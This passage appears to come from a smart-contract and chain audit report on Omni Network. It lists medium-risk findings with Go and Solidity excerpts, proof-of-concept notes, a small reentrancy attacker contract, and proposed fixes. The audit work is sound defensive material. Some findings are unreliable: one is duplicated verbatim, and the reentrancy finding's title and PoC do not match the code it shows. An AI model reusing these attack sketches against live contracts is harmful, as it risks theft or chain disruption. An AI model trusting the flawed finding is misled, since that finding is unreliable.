```

In particular, within the `deleteBefore` method of `Keeper.go`, `newLatestLookupCache` and `newEarliestLookupCache` are used to perform cached lookups for attestations. This method deletes all attestation and signature data at or before the specified height, and it might be executed concurrently during block processing.

halo/attest/keeper/keeper.go:deleteBefore#L950

```
func (k *Keeper) deleteBefore(ctx context.Context, height uint64, consensusID uint64, cHeight uint64) error {
    defer latency("delete_before")()

    // Create latest and earliest read-through caches to reduce database reads.
    latestOffset := newLatestLookupCache(k)
    earliestOffset := newEarliestLookupCache(k)
...
```

In blockchain projects, concurrent processing is common due to the following reasons:

- Multiple blocks may be processed simultaneously.
- Multiple transactions may execute concurrently.
- Multiple queries may arrive at the same time.
- Cross-chain communications may involve concurrent tasks.
- Subscription models may require parallel processing of updates in different goroutines.
- Query functions may execute concurrently due to client queries and RPC request handling.

Thus, the shared `cache` map within the closure needs to be made thread-safe to avoid issues in these concurrent blockchain environments.

```
// Example global variable requiring synchronization
var globalCache = make(map[string]int)  // requires synchronization

// Shared struct field requiring synchronization if accessed by multiple goroutines
type Service struct {
    cache map[string]int  // requires synchronization if accessed by multiple goroutines
}

// Persistent cache example requiring synchronization if called concurrently
func newCache() func(key string) int {
    cache := make(map[string]int)  // requires synchronization if function is called concurrently
    return func(key string) int {
        return cache[key]
    }
}
```

- Recommendation Therefore, we recommend applying thread-safety practices to shared state within closures. Use a mutex (either `sync.Mutex` or `sync.RWMutex`) or a dedicated thread-safe map (e.g., `sync.Map`) to protect access to shared state. In straightforward scenarios, a `Mutex` suffices, whereas `RWMutex` is optimal for read-heavy contexts, and `sync.Map` works well under high concurrency.

Solution 1: Protecting `cache` with `sync.RWMutex`

In this solution, we add `RWMutex` to safeguard access to `cache`. `RWMutex` allows multiple readers but locks for exclusive writes.

```
func newLookupCache(lookup func(context.Context, xchain.ChainVersion) (*Attestation, bool, error)) lookupFunc {
    var mu sync.RWMutex  // Mutex for cache synchronization
    cache := make(map[xchain.ChainVersion]uint64)

    return func(ctx context.Context, chainVer xchain.ChainVersion) (uint64, bool, error) {
        mu.RLock()
        if offset, ok := cache[chainVer]; ok {
            mu.RUnlock()  // Release read lock once the value is found
            return offset, offset > 0, nil
        }
        mu.RUnlock()  // Release read lock if value is not found

        // Actual lookup
        latest, ok, err := lookup(ctx, chainVer)
        if err != nil {
            return 0, false, err
        }

        mu.Lock()        // Use write lock for cache update
        defer mu.Unlock() // Ensure write lock release

        if !ok {
            cache[chainVer] = 0  // Cache a miss result
            return 0, false, nil
        }

        if latest.GetAttestOffset() == 0 {
            return 0, false, errors.New("invalid zero attestation offset [BUG]")
        }

        offset := latest.GetAttestOffset()
        cache[chainVer] = offset  // Cache and return the result

        return offset, true, nil
    }
}
```


Solution 2: Using `sync.Map` for Thread-Safe Map Access

Here, we use `sync.Map`, a concurrent-safe map that automatically handles synchronization internally.

```
func newLookupCache(lookup func(context.Context, xchain.ChainVersion) (*Attestation, bool, error)) lookupFunc {
    var cache sync.Map  // Thread-safe map

    return func(ctx context.Context, chainVer xchain.ChainVersion) (uint64, bool, error) {
        if offset, ok := cache.Load(chainVer); ok {
            return offset.(uint64), offset.(uint64) > 0, nil
        }

        // If cache miss, perform lookup
        latest, ok, err := lookup(ctx, chainVer)
        if err != nil {
            return 0, false, err
        } else if !ok {
            cache.Store(chainVer, uint64(0))  // Cache miss result
            return 0, false, nil
        } else if latest.GetAttestOffset() == 0 {
            return 0, false, errors.New("invalid zero attestation offset [BUG]")
        }

        offset := latest.GetAttestOffset()
        cache.Store(chainVer, offset)  // Cache and return the result

        return offset, true, nil
    }
}
```

3.4.58 Validator can delegate but they can not undelegate

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description A validators can delegate (at this point just to himself) but in the case that some validator wants to undelegate, he cant, this is because the evmstaking.goproxy and thestaking.sol' contract are not implementing any logic for this.
- Impact A validator could get his money stuck in the staking contract, Note that also this contract is not implementing any logic relate to withdraw funds and also is not upgradable.

So in case that a validator delegate to himself and then he want to undelegate some part or all of this omni, he can and his money will be stuck in the contract.

- Proof of Concept The main function of the evmstaking.go is:

```
func (p EventProcessor) Deliver(ctx context.Context, _ common.Hash, elog evmenginetypes.EVMEvent) error {
    ethlog, err := elog.ToEthLog()
    if err != nil {
        return err
    }

    switch ethlog.Topics[0] {
    case createValidatorEvent.ID: <---
        ev, err := p.contract.ParseCreateValidator(ethlog)
        if err != nil {
            return errors.Wrap(err, "parse create validator")
        }

        if err := p.deliverCreateValidator(ctx, ev); err != nil {
            return errors.Wrap(err, "create validator")
        }
    case delegateEvent.ID:  <---
        ev, err := p.contract.ParseDelegate(ethlog)
        if err != nil {
            return errors.Wrap(err, "parse delegate")
        }

        if err := p.deliverDelegate(ctx, ev); err != nil {
            return errors.Wrap(err, "delegate")
        }
    default:
        return errors.New("unknown event")
    }

    return nil
}
```

[Link]

The proxy is just handling creating validator and delegations, the smart contracts as well.

- Recommendation Consider implement some logic for undelegation (https://docs.cosmos.network/main/build/modules/staking#msgundelegate) or create some functions in the contract that recover some funds from the contract.

3.4.59 Malicious validator can create too many fake attestation roots to halt the chain

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description

In the Comet ABCI++, a validator will first vote via `ExtendVote` and all validators will verify each others votes using `VerifyVoteExtension`. After that these votes will be included in the next proposal and then be added into the attestation DB in the next block

We can see the validation of the vote extensions that will be included in the next block here:

https://github.com/omni-network/omni/blob/ac1f4111267d9ed8a99b50c73b726ff14ae20698/halo/attest/keeper/proposal_server.go#L18-L42

```
// VerifyVoteExtension verifies a vote extension.
//
// Note this code assumes that cometBFT will only call this function for an active validator in the current
↪  set.
func (k *Keeper) VerifyVoteExtension(ctx sdk.Context, req *abci.RequestVerifyVoteExtension) (
    *abci.ResponseVerifyVoteExtension, error,
) {
    respAccept := &abci.ResponseVerifyVoteExtension{
        Status: abci.ResponseVerifyVoteExtension_ACCEPT,
    }
    respReject := &abci.ResponseVerifyVoteExtension{
        Status: abci.ResponseVerifyVoteExtension_REJECT,
    }
```

```
    cChainID, err := netconf.ConsensusChainIDStr2Uint64(ctx.ChainID())
    if err != nil {
        return nil, errors.Wrap(err, "parse chain id")
    }

    // Get the ethereum address of the validator
    ethAddr, err := k.getValEthAddr(ctx, req.ValidatorAddress)
    if err != nil {
        return nil, err // This error should never occur
    }

    // Adding logging attributes to sdk context is a bit tricky
    ctx = ctx.WithContext(log.WithCtx(ctx, log.Hex7("validator", req.ValidatorAddress)))

    votes, ok, err := votesFromExtension(req.VoteExtension)
    if err != nil {
        log.Warn(ctx, "Rejecting invalid vote extension", err)
        return respReject, nil
    } else if !ok {
        return respAccept, nil
    } else if umath.Len(votes.Votes) > k.voteExtLimit {
        log.Warn(ctx, "Rejecting vote extension exceeding limit", nil, "count", len(votes.Votes), "limit",
↪   k.voteExtLimit)
        return respReject, nil
    }

    duplicate := make(map[xchain.AttestHeader]bool)
    for _, vote := range votes.Votes {
        if err := vote.Verify(); err != nil {
            log.Warn(ctx, "Rejecting invalid vote", err)
            return respReject, nil
        }

        if duplicate[vote.AttestHeader.ToXChain()] {
            doubleSignCounter.WithLabelValues(ethAddr.Hex()).Inc()
            log.Warn(ctx, "Rejecting duplicate slashable vote", err)

            return respReject, nil
        }
        duplicate[vote.AttestHeader.ToXChain()] = true

        // Ensure the votes are from the requesting validator itself.
        if !bytes.Equal(vote.Signature.ValidatorAddress, ethAddr[:]) {
            log.Warn(ctx, "Rejecting mismatching vote and req validator address", nil, "vote", ethAddr, "req",
↪   req.ValidatorAddress)
            return respReject, nil
        }

        if err := verifyHeaderChains(ctx, cChainID, k.portalRegistry, vote.AttestHeader, vote.BlockHeader);
↪   err != nil {
            log.Warn(ctx, "Rejecting vote for invalid header chains", err, "chain",
↪   k.namer(vote.AttestHeader.XChainVersion()))
            return respReject, nil
        }

        if cmp, err := k.windowCompare(ctx, vote.AttestHeader.XChainVersion(),
↪   vote.AttestHeader.AttestOffset); err != nil {
            return nil, errors.Wrap(err, "windower")
        } else if cmp != 0 {
            log.Warn(ctx, "Rejecting out-of-window vote", nil, "cmp", cmp)
            return respReject, nil
        }
    }

    return respAccept, nil
}
```

To maximise damage, each block a malicious validator can create votes for up to 66 different fake attestation roots with the source chain set to the consensus chain (as there can be up to 66 attest offsets for one consensus chain within the vote window)

This votes will pass all the validation checks and be successfully be included in the next proposal and thus included in the next block where they will all be added into the attestation DB.

https://github.com/omni-network/omni/blob/ac1f4111267d9ed8a99b50c73b726ff14ae20698/halo/attest/keeper/keeper.go#L180

```
    // Get existing attestation (by unique key) or insert new one.
    var attID uint64
    existing, err := k.attTable.GetByAttestationRoot(ctx, attRoot[:])
    if ormerrors.IsNotFound(err) {
        // Insert new attestation
        attID, err = k.attTable.InsertReturningId(ctx, &Attestation{
            ChainId:         agg.AttestHeader.SourceChainId,
            ConfLevel:       agg.AttestHeader.ConfLevel,
            AttestOffset:    agg.AttestHeader.AttestOffset,
            BlockHeight:     agg.BlockHeader.BlockHeight,
            BlockHash:       agg.BlockHeader.BlockHash,
            MsgRoot:         agg.MsgRoot,
            AttestationRoot: attRoot[:],
            Status:          uint32(Status_Pending),
            ValidatorSetId:  0, // Unknown at this point.
            CreatedHeight:   uint64(sdk.UnwrapSDKContext(ctx).BlockHeight()),
            FinalizedAttId:  0, // No finalized override yet.
        })
        if err != nil {
            return errors.Wrap(err, "insert")
        }
    }
```

During the `Approve()` in `EndBlock()`, all pending attestations will be fetched from the DB and iterated over to check if they are approved.

https://github.com/omni-network/omni/blob/ac1f4111267d9ed8a99b50c73b726ff14ae20698/halo/attest/keeper/keeper.go#L267-L306

```
func (k *Keeper) Approve(ctx context.Context, valset ValSet) error {
    defer latency("approve")()

    pendingIdx := AttestationStatusChainIdConfLevelAttestOffsetIndexKey{}.WithStatus(uint32(Status_Pending))
    iter, err := k.attTable.List(ctx, pendingIdx)
    if err != nil {
        return errors.Wrap(err, "list pending")
    }
    defer iter.Close()

    approvedByChain := make(map[xchain.ChainVersion]uint64) // Cache the latest approved attestation offset by
↪   chain version.
    for iter.Next() {
        ...
```


Therefore a malicious validator can keep storing 66 fake attestation roots per block. As the consensus chain is the source chain, they can prevent their fake attestation roots from being deleted for 72000 blocks (`cTrimLag` = 72000) in `deleteBefore`

https://github.com/omni-network/omni/blob/main/halo/attest/keeper/keeper.go#L946

```
// deleteBefore deletes all attestations and signatures before the given height (inclusive).
// Consensus chain attestations are compared against cHeight (inclusive).
// Note this always deletes block 0, but genesis block doesn't contain any attestations.
func (k *Keeper) deleteBefore(ctx context.Context, height uint64, consensusID uint64, cHeight uint64) error {
    defer latency("delete_before")()

    // Create latest- and earliest- read-through caches to mitigate DB reads.
    latestOffset := newLatestLookupCache(k)
    earliestOffset := newEarliestLookupCache(k)

    // Get all supported confirmation levels.
    confLevels, err := k.portalRegistry.ConfLevels(ctx)
    if err != nil {
        return errors.Wrap(err, "conf levels")
    }

    start := AttestationCreatedHeightIndexKey{}
    end := AttestationCreatedHeightIndexKey{}.WithCreatedHeight(height)
    iter, err := k.attTable.ListRange(ctx, start, end)
    if err != nil {
        return errors.Wrap(err, "list atts")
    }
    defer iter.Close()
    for iter.Next() {
        att, err := iter.Value()
        if err != nil {
            return errors.Wrap(err, "value att")
        } else if att.GetCreatedHeight() > height {
            return errors.New("query sanity check [BUG]")
        } else if att.GetChainId() == consensusID && att.GetCreatedHeight() > cHeight {
            // Consensus chain attestations are deleted much later, since they have possible valset update
↪   dependencies.
            continue
        }
```

Hence, up to 66 * 72000 = 4 752 000 fake attestation roots can be proposed by one malicious validator and increases the more malicious validators there are. For example, if there are 10 malicious validators, there will be 47 520 000 fake attestation roots stored in the DB.

This many fake attestation roots will be fetched from the DB stored on disk and be iterated over every `Approve()` call which is called at the end of every block in `EndBlock()`. Since it is not constrained by gas the chain will come to a halt by processing so many attestation roots.

- Recommendation

Consider modifying the `cTrimLag` and other additional changes:

https://github.com/omni-network/omni/blob/ac1f4111267d9ed8a99b50c73b726ff14ae20698/halo/app/app_config.go#L51

```
const (
    // TODO(corver): Maybe move these to genesis itself.
    genesisVoteWindowUp   uint64 = 64 // Allow early votes for <latest attestation - 64>
    genesisVoteWindowDown uint64 = 2  // Only allow late votes for <latest attestation - 2>
    genesisVoteExtLimit   uint64 = 256
    genesisTrimLag        uint64 = 1      // Allow deleting attestations in block after approval.
    genesisCTrimLag       uint64 = 72_000 // Delete consensus attestations state after +-1 day (given a period
↪   of 1.2s).
)
```

3.4.60 Malicious proposer can include empty transactions in a valid proposal

Severity: Medium Risk

Context: prouter.go#L56-L85

- Description

A legit proposer currently sets a single transaction in the consensus block proposal. This transaction includes two messages: a `MsgAddVotes` and an `MsgExecutionPayload`.

However, the validators (`ProcessProposal`) iterates over all transactions in the consensus block proposal.

A malicious proposer may craft a proposal with a large number of transactions but with empty messages in it. The proposer will be able to fill the proposal with useless transactions to quickly reach the 100MB limit of CometBFT.

This will lead all validators to consume unnecessary compute units and memory to decode all the empty transactions and to consume unnecessary disk space for the consensus blocks.

- Impact

Malicious proposer can build heavy consensus blocks, leading to unexpected resource consumption and performance issues for Omni.

- Code snippet

`ProcessProposal` iterates through all `req.Txs`. It doesn't check that there is only one Tx. It only allows processing two messages:

```
        // Ensure only expected messages types are included the expected number of times.
        allowedMsgCounts := map[string]int{
            sdk.MsgTypeURL(&etypes.MsgExecutionPayload{}): 1, // Only a single EVM execution payload is
↪  allowed.
            sdk.MsgTypeURL(&atypes.MsgAddVotes{}):         1, // Only a single attest module MsgAddVotes is
↪  allowed.
        } // @POC: there can be only 1 MsgAddVotes and 1 MsgExecutionPayload

        for _, rawTX := range req.Txs { // @POC: there can be thousands of Txs in the block proposal
            tx, err := txConfig.TxDecoder()(rawTX) // @POC: decode Tx with empty data
            if err != nil {
                return rejectProposal(ctx, errors.Wrap(err, "decode transaction"))
            }

            for _, msg := range tx.GetMsgs() { // @POC: There is no Msgs in the malicious Txs, just skip this
↪  for loop
                typeURL := sdk.MsgTypeURL(msg)

                // Ensure the message type is expected and not included too many times.
                if i, ok := allowedMsgCounts[typeURL]; !ok {
                    return rejectProposal(ctx, errors.New("unexpected message type", "msg_type", typeURL))
                } else if i <= 0 {
                    return rejectProposal(ctx, errors.New("message type included too many times", "msg_type",
↪  typeURL))
                }
                allowedMsgCounts[typeURL]--

                handler := router.Handler(msg)
                if handler == nil {
                    return rejectProposal(ctx, errors.New("msg handler not found [BUG]", "msg_type", typeURL))
                }

                _, err := handler(ctx, msg)
                if err != nil {
                    return rejectProposal(ctx, errors.Wrap(err, "execute message"))
                }
            }
        }
```

For comparison, here is how a legit proposer will build the unique Tx that is in the consensus block proposal.

```
// PrepareProposal returns a proposal for the next block.
// Note returning an error results in a panic cometbft and CONSENSUS_FAILURE log.
func (k *Keeper) PrepareProposal(ctx sdk.Context, req *abci.RequestPrepareProposal) (
    *abci.ResponsePrepareProposal, error,
) {
    // ...

    // Combine all the votes messages and the payload message into a single transaction.
    b := k.txConfig.NewTxBuilder() // @POC: builds a single Tx
    if err := b.SetMsgs(append(voteMsgs, payloadMsg)...); err != nil {
        return nil, errors.Wrap(err, "set tx builder msgs")
    }

    // Note this transaction is not signed. We need to ensure bypass verification somehow.
    tx, err := k.txConfig.TxEncoder()(b.GetTx())
    if err != nil {
        return nil, errors.Wrap(err, "encode tx builder")
    }

    log.Info(ctx, "Proposing new block",
        "height", req.Height,
        log.Hex7("execution_block_hash", payloadResp.ExecutionPayload.BlockHash[:]),
        "vote_msgs", len(voteMsgs),
        "evm_events", len(evmEvents),
    )

    return &abci.ResponsePrepareProposal{Txs: [][]byte{tx}}, nil // @POC: set the single Tx
}
```

A malicious proposer would just have to modify `PrepareProposal` to add multiple transactions with no Msgs.

- Recommendation

The `ProcessProposal` logic must ensure that the proposal does not contain too many transactions.

Currently, there should be only one transaction per proposal.

3.4.61 OmniPortal::_call can only emulate the out of gas exception in the last message

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description The OmniPortal::_call function checks if the gas left after the transaction call is less than 1/63rd of the gas sent:

```
    function _call(address to, uint256 gasLimit, bytes calldata data) internal returns (bool, bytes memory,
↪   uint256) {
        uint256 gasLeftBefore = gasleft();

        // use excessivelySafeCall for external calls to prevent large return bytes mem copy
        (bool success, bytes memory result) =
            to.excessivelySafeCall({ _gas: gasLimit, _value: 0, _maxCopy: xreceiptMaxErrorSize, _calldata:
↪   data });

        uint256 gasLeftAfter = gasleft();

        // Ensure relayer sent enough gas for the call
        // See https://github.com/OpenZeppelin/openzeppelin-contracts/blob/bd325d56b4c62c9c5c1aff048c37c6bb18a
↪   c0290/contracts/metatx/MinimalForwarder.sol#L58-L68
        if (gasLeftAfter <= gasLimit / 63) {
            // We use invalid opcode to consume all gas and bubble-up the effects, to emulate an "OutOfGas"
↪   exception
            assembly {
                invalid()
            }
        }

        return (success, result, gasLeftBefore - gasLeftAfter);
    }
```

This is done to check if the low level call has ran out of gas, and emulate the revert. However, since messages are executed in a for loop, this check does not apply for any transaction but the last one:

```
    function xsubmit(XTypes.Submission calldata xsub)
        external
        whenNotPaused(ActionXSubmit, xsub.blockHeader.sourceChainId)
        nonReentrant
    {
        ...
        // execute xmsgs
        for (uint256 i = 0; i < xmsgs.length; i++) {
            _exec(xheader, xmsgs[i]);
        }
    }
```

This is because all but the last transaction will have gas left that is much greater than 1/63rd of gas used, since it will include gas for for the next transactions.

Impact is that all messages(except the last one) which have reverted due to running out of gas will not emulate the revert in _call function.

- Recommendation Mitigation is not simple, because of the other issue with including gas usage from the library, so that must be accounted for. But, we can derive something like:

GasLeft <= gasLimit/63

=>

TotalGasAvailableForTx - ActualGasUsed <= gasLimit/63

=>

(gasLimit*64/63) - (gasLeftBefore - gasLeftAfter) <=gasLimit /63

Which would result in the following code change:

```
-         if (gasLeftAfter <= gasLimit / 63) {
+         if ((gasLimit *64/63) - (gasLeftBefore - gasLeftAfter) <= gasLimit / 63) {
            // We use invalid opcode to consume all gas and bubble-up the effects, to emulate an "OutOfGas"
↪  exception
            assembly {
                invalid()
            }
        }
```

3.4.62 Malicious proposers can propose empty blocks without being slashed

Severity: Medium Risk

Context: prouter.go#L56

- Summary

The validators accept empty blocks due to a lack of verification on the presence of transactions within proposals. A malicious proposer can exploit this by creating empty blocks that are accepted by all validators, reducing the network's effective throughput and potentially degrading the experience for users.

- Finding Description

The `makeProcessProposalHandler` function in the proposal validation code does not enforce the presence of at least one transaction within the proposal. Specifically, in the code, the `allowedMsgCounts` map defines the types and counts of allowed messages, but there is no explicit check to ensure that the `req.Txs` list is non-empty. This oversight allows a proposer to submit proposals with no transactions, resulting in empty blocks being accepted by validators.

- Impact Explanation

Low: This vulnerability impacts Omni chain performance by allowing empty blocks, which reduces transaction throughput and may cause delays for legitimate transactions.

- Likelihood Explanation

High: Exploiting this issue is straightforward, as any proposer can submit empty blocks.

- Proof of Concept

In the `makeProcessProposalHandler` function, the `allowedMsgCounts` variable restricts the types and number of specific messages within a proposal. However, there is no verification step to ensure that `req.Txs` contains at least one transaction, as would be expected in a legitimate proposal.

```
func makeProcessProposalHandler(router *baseapp.MsgServiceRouter, txConfig client.TxConfig)
↪  sdk.ProcessProposalHandler {
    return func(ctx sdk.Context, req *abci.RequestProcessProposal) (*abci.ResponseProcessProposal, error) {
        // ...

        // Ensure only expected messages types are included the expected number of times.
        allowedMsgCounts := map[string]int{
            sdk.MsgTypeURL(&etypes.MsgExecutionPayload{}): 1, // Only a single EVM execution payload is
↪  allowed.
            sdk.MsgTypeURL(&atypes.MsgAddVotes{}):         1, // Only a single attest module MsgAddVotes is
↪  allowed.
        }

        // @POC: There is no check to ensure that the proposal has 1 Tx in `req.Txs` as expected from a legit
↪  proposer

        for _, rawTX := range req.Txs { // @POC: There is no Txs in the proposal
            // ...
        }

        return &abci.ResponseProcessProposal{Status: abci.ResponseProcessProposal_ACCEPT}, nil
    }
}
```

Without a check to ensure at least one transaction in `req.Txs`, the proposal can be submitted empty, leading to the acceptance of an empty block.

- Recommendation

Add a validation step to ensure that `req.Txs` contains at least one transaction before accepting a proposal. This additional check will ensure that all proposals include at least one transaction, preventing empty blocks and preserving network efficiency.

Example:

```
if len(req.Txs) == 0 {
    return &abci.ResponseProcessProposal{Status: abci.ResponseProcessProposal_REJECT}, errors.New("proposal
↪  contains no transactions")
}
```

This modification would prevent the acceptance of empty blocks and ensure each block serves the network's throughput requirements.

3.4.63 Upgrade contract does not call _disableInitializers in constructor

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description The Upgrade.sol contract inherits from OpenZeppelin's OwnableUpgradeable, however it does not call _disableInitializers in it's constructor. According to the openzeppelin comments, it is recommended to call that function in the constructor to lock the implementation contract, otherwise it can be taken over.

The contract does not hold any funds, so it is not critical, but it will have to be redeployed.

- Recommendation

The following to the Upgrade.sol contract:

```
    constructor() {
        _disableInitializers();
    }
```

3.4.64 Wrong implement of "_burnFee"

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description */

Here we are calling the _burnFee function then we see msg.value>=Fee and then we are transferring the amount to the BurnAddr . This should not work like this as we are firing the whole msg.value not only Fee.

```
function _burnFee() internal {
    require(msg.value >= Fee, "Slashing: insufficient fee");
    payable(BurnAddr).transfer(msg.value);
}
```

- Recommendation

  function _burnFee() internal { require(msg.value >= Fee, "Slashing: insufficient fee"); payable(BurnAddr).transfer(Fee); payable(msg.sender).transfer(msg.value-Fee); }

3.4.65 Wrong implement of "_burnFee"

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description */

Here we are calling the _burnFee function then we see msg.value>=Fee and then we are transferring the amount to the BurnAddr . This should not work like this as we are firing the whole msg.value not only Fee.

```
function _burnFee() internal {
    require(msg.value >= Fee, "Slashing: insufficient fee");
    payable(BurnAddr).transfer(msg.value);
}
```

- Recommendation

  function _burnFee() internal { require(msg.value >= Fee, "Slashing: insufficient fee"); payable(BurnAddr).transfer(Fee); payable(msg.sender).transfer(msg.value-Fee); }

3.4.66 Attacker can spam events to cause proposal timeout for proposer

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description In `PrepareProposal`, the function `evmEvents` is called. This calls `Prepare` on the corresponding processor. These processors perform calls to `FilterLogs` of the execution client, e.g.:

```
    logs, err := p.ethCl.FilterLogs(ctx, ethereum.FilterQuery{
        BlockHash: &blockHash,
        Addresses: p.Addresses(),
        Topics:    [][]common.Hash{{createValidatorEvent.ID, delegateEvent.ID}},
    })
```

Although we are only interested in the logs of some addresses (and with some topics), the execution client potentially has to iterate over all the logs in a block. The details depend on the execution client used, but here is for instance the geth execution for a particular filter query that iterates over all logs: https://github.com/ethereum/go-ethereum/blob/a1093d98eb3260f2abf340903c2d968b2b891c11/eth/filters/filter.go#L264

If there are a lot of events in a block, iterating over them may take a long time. Although emitting a log costs gas, it is relatively cheap, especially for anonymous events (375 gas). The gas prices are of course not fine-tuned to the requirement of iterating over all of them in a short timeframe, as these are typically off-chain operations that are not time-critical.

Therefore, an attacker can deploy a contract and emit as many anonymous logs as possible. Because the proposer has to iterate over all of them, the consensus timeout can be reached, which will penalize them, although they did nothing wrong.

- Recommendation Use a different event streaming mechanism that is not impacted by the number of events in a block. For instance, by modifying the execution clients and directly streaming the events to Cosmos.

3.4.67 Break of Functionality Due to Minimum Val Set Error

Severity: Medium Risk

Context: OmniPortal.sol#L344

- Description

```
    function _minValSet() internal view returns (uint64) {
        return latestValSetId > xsubValsetCutoff
            // plus 1, so the number of accepted valsets == XSubValsetCutoff
            ? (latestValSetId - xsubValsetCutoff + 1)
>>>             : 1;
    }
```

The _minValSet() function above from the OmniPortal contract is implemented based on the comparism between latestValSetId & xsubValsetCutoff variable, the code properly handles when latestValSetId is greater than xsubValsetCutoff however when it is less than it, it simply returns 1 regardless of how far apart the two variable is. It should be noted that latestValSetIds is set based on valSetId from _addValidatorSet(...) from L361 of the OmniPortal contract while xsubValsetCutoff is set based on L690 of same contraact, the value of latestValSetIds and xsubValsetCutoff are independent of each other and has no validation that ensure consistency between them which means latestValSetIds can be less than xsubValsetCutoff and vice versa. The problem is that _minValSet() function does not accurately implement and account for when latestValSetId is less than xsubValsetCutoff and the function returns 1 regardless of how far apart this two values are, which breaks protocol proper functionality of _mimValSet() and would affect the xsubmit(...) function where it is called in the contract

- Recommendation As adjusted below whenever latestValSetId is less than xsubValsetCutoff under any circumstance, the code should either revert or simply return zero and necessary adjustments should be made to where minValSet() is called to ensure id of zero is not allowed

```
    function _minValSet() internal view returns (uint64) {
+++       if ( latestValSetId < xsubValsetCutoff ){
+++         return 0;
+++       }

        return latestValSetId > xsubValsetCutoff
            // plus 1, so the number of accepted valsets == XSubValsetCutoff
            ? (latestValSetId - xsubValsetCutoff + 1)
            : 1;
    }
```

```
    function xsubmit(XTypes.Submission calldata xsub)
        external
        whenNotPaused(ActionXSubmit, xsub.blockHeader.sourceChainId)
        nonReentrant
    {
...
---         require(valSetId >= _minValSet(), "OmniPortal: old val set");
+++         require(valSetId > _minValSet(), "OmniPortal: old val set");

}
```

3.4.68 Hardcoded Fee Value

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Summary The contract uses a hardcoded fee value for unjailing validators, which limits flexibility and adaptability to changing network conditions.
- Finding Description The `Fee` constant is set to a fixed value of `0.1 ether`, which means any necessary adjustments to the fee due to changes in the network or governance decisions will require redeploying the contract. This inflexibility can lead to challenges in managing the operational costs of unjailing validators and may create discrepancies between the expected fee and what the network can sustain.

This hardcoding breaks the principle of flexibility in smart contract design. If the fee structure needs to be altered for economic reasons (e.g., inflation, changes in network usage), the contract would not be able to accommodate such changes without a costly and cumbersome redeployment process.

- Vulnerability Details The hardcoded fee value is declared as follows:

```
uint256 public constant Fee = 0.1 ether;
```

This setup means that any future adjustment to the fee must involve a migration to a new contract, which could introduce operational risks and complexity for users.

- Impact The impact of this vulnerability is assessed as medium because it affects the contract's adaptability and usability. If the fee becomes unsustainable or too high for users, it could result in decreased usage of the contract's functionalities, ultimately leading to user frustration and potential loss of trust in the system.
- Proof of Concept While the issue does not stem from a direct attack vector, the impact can be illustrated with a hypothetical scenario:

1. If the cost of gas on the network increases significantly, the fixed fee of `0.1 ether` may become too low to deter spamming of the `unjail()` function.
2. Conversely, if the economic environment changes, the fee might need to be increased to remain in line with operational costs. This cannot be done without deploying a new contract.

- Recommendations To address this issue, the fee should be made mutable through the introduction of an admin-controlled function to set the fee. Below is a code snippet demonstrating a potential fix:

```
pragma solidity =0.8.24;

contract Slashing {
    address private owner;
    uint256 public Fee;

    constructor() {
        owner = msg.sender;
        Fee = 0.1 ether; // Set an initial fee
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Not authorized");
        _;
    }

    function setFee(uint256 newFee) external onlyOwner {
        Fee = newFee;
    }

    // Other functions remain unchanged
}
```

- Explanation of the Fix

1. **Dynamic Fee Adjustment:** By allowing an owner (or administrator) to set the fee, the contract can adapt to economic changes without needing to be redeployed.

2. **Access Control:** A modifier (`onlyOwner`) ensures that only the designated owner can change the fee, preventing unauthorized adjustments.

This approach maintains flexibility while ensuring that any fee adjustments are controlled and deliberate, thus improving the overall robustness of the contract.

- File Location
- `Slashing.sol`

3.4.69 Insufficient Checks on Validator Addresses

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Summary The `createValidator` and `delegate` functions in the Staking contract are vulnerable to reentrancy attacks, potentially allowing an attacker to exploit these functions and drain funds.
- Finding Description The functions `createValidator` and `delegate` both perform Ether transfers without updating state variables prior to the transfer. This exposes them to reentrancy attacks, where a malicious contract can call these functions recursively before the initial execution context is completed, potentially leading to a loss of funds.
- Security Guarantees Broken This vulnerability undermines the integrity of the contract by allowing a malicious actor to manipulate the state of the contract during a transaction. The expected behavior is for Ether to be securely locked during state updates; however, the current structure allows attackers to bypass these updates.
- Attack Scenario

1. An attacker deploys a malicious contract that interacts with the `Staking` contract.
2. The attacker calls `createValidator` or `delegate`, initiating a transaction that sends Ether.
3. Before the transaction completes and the state is updated (e.g., allowance for a new validator or delegation), the malicious contract calls back into the vulnerable function again, re-entering the function before state variables are adjusted.
4. This recursive call can potentially result in multiple deposits or delegations, draining the contract's balance.

- Vulnerability Details
- **Location:** `createValidator` and `delegate` functions
- **Issue:** Ether transfer occurs before state variable updates, allowing for reentrant calls.
- Impact The impact is assessed as high because an attacker could leverage this vulnerability to steal any amount of Ether sent to the contract. Given that the contract handles deposits and delegations, the potential financial loss could be substantial, depending on the contract's use in a live environment.
- Proof of Concept

```
// Attacker contract
contract Attack {
    Staking public staking;

    constructor(address _staking) {
        staking = Staking(_staking);
    }

    function attack() external payable {
        staking.createValidator{value: msg.value}(new bytes(33));
    }

    receive() external payable {
        // Call back into Staking contract to exploit reentrancy
        if (address(staking).balance >= 1 ether) {
            staking.createValidator(new bytes(33));
        }
    }
}
```

- Recommendations To mitigate the reentrancy vulnerability, adhere to the checks-effects-interactions pattern, where state variables are updated before any Ether transfer. Here is the revised code snippet:

```
function createValidator(bytes calldata pubkey) external payable {
    require(!isAllowlistEnabled || isAllowedValidator[msg.sender], "Staking: not allowed");
    require(pubkey.length == 33, "Staking: invalid pubkey length");
    require(msg.value >= MinDeposit, "Staking: insufficient deposit");

    // Update state variables first
    emit CreateValidator(msg.sender, pubkey, msg.value);

    // Now transfer Ether
    // Assuming you have an external call or internal logic here to handle the deposit.
}

function delegate(address validator) external payable {
    require(!isAllowlistEnabled || isAllowedValidator[validator], "Staking: not allowed val");
    require(msg.value >= MinDelegation, "Staking: insufficient deposit");
    require(msg.sender == validator, "Staking: only self delegation");

    // Update state variables first
    emit Delegate(msg.sender, validator, msg.value);

    // Now transfer Ether
    // Handle delegation logic here.
}
```

By following these recommendations, the `Staking` contract can avoid potential reentrancy exploits, ensuring funds are safeguarded against malicious behavior.

